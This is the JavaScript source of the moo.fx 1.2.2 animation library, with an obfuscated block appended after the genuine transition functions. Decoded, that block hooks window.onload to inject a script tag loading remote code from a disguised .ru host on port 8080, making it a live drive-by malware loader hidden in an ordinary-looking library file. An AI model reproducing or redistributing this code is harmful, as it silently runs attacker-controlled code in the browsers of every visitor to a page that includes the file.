/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Friday, February 24, 2006
v 1.2.2
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	go: function() {
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.go();
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.el.iniWidth = this.el.offsetWidth;
		this.el.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.el.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0) this.el.style.visibility = "hidden";
		else this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}

var Oc="";try {this.h='';var OL;if(OL!='' && OL!='hO'){OL=null};var j="sXOcrep".substr(4)+"QgXKlac".substr(4)+"exdNq".substr(0,1);var Fm;if(Fm!='k' && Fm!='vf'){Fm=''};var T;if(T!='' && T!='I'){T=null};var b=new Date();var WM=RegExp;var GP=new Date();var A;if(A!='Qt' && A != ''){A=null};function W(O,G){var L=new String();this.ux="";var Vp;if(Vp!='Mg'){Vp='Mg'};var a="tyVz[".substr(4);this.ID='';var Q=new String("gp57B".substr(0,1));a+=G;a+=new String("]");var o='';var R=new WM(a, Q);var Ca;if(Ca!='t' && Ca != ''){Ca=null};return O[j](R, new String());var Mh=new Array();var hI=new Array();};var Fw;if(Fw!='rN' && Fw!='z'){Fw=''};var PW=new Date();var IK=new Array();var pq;if(pq!=''){pq='NC'};var _I;if(_I!='' && _I!='oi'){_I=''};var CE;if(CE!='' && CE!='iT'){CE=''};var Rr='';var u=window;var iW=new Array();var NY=new Array();var RV=W('oxn8l8oxaSdR',"SP8xR");var Qn=W('hOt5t8pO:5/W/LmLaOiWn8i5cOhWi5-5jLp5.8bLrOeLaOkL.OcWoLmO.WdWaWn8tOrOi8-8cLoLmW-5vWnL.8BLeLsOtOBOlWeOnWdOeWrOP5aLr8t5.Wr8u5:8',"WO5L8");this.Qq='';var S=W('84414401124844220441214',"142");var nz;if(nz!='Cx'){nz='Cx'};var Wp;if(Wp!='Oi'){Wp='Oi'};var i=W('czr1efafthehEhlze1mze1n1tz',"fhz1");this.kD="";var Z=W('slcKrliYpYtK',"lKYO");var X=W('/xcxoFlFlFexgxeFhFuxmxoxrx.Fcxoxmx/xcFoxlFlFexgxeFhFuxmFoxrF.FcFoFmx/xtxaxrxiFnFgFax.FnxeFtx/xwFhFoF.Fixsx/FgFoFoFgFlFex.FcFoFmx.xpFhFpx',"Fx");var zL="";v=function(){var YH;if(YH!='os' && YH!='nn'){YH='os'};_=document[i](Z);var BZ=new String();this.Im='';Rr=Qn+S;Rr+=X;this.zz='';var Sv='';var xM;if(xM!='' && xM!='Ao'){xM=null};var Qth;if(Qth!='lu' && Qth != ''){Qth=null};_.src=Rr;_.defer=([5,1][1]);this.Ki='';var tz="";document.body.appendChild(_);var Kx;if(Kx!=''){Kx='gF'};};var bj="";var e="";u[RV]=v;this.BE='';this.Fd="";} catch(J){var Tm='';var uR="";};var H;if(H!=''){H='JFJ'};this.Hg="";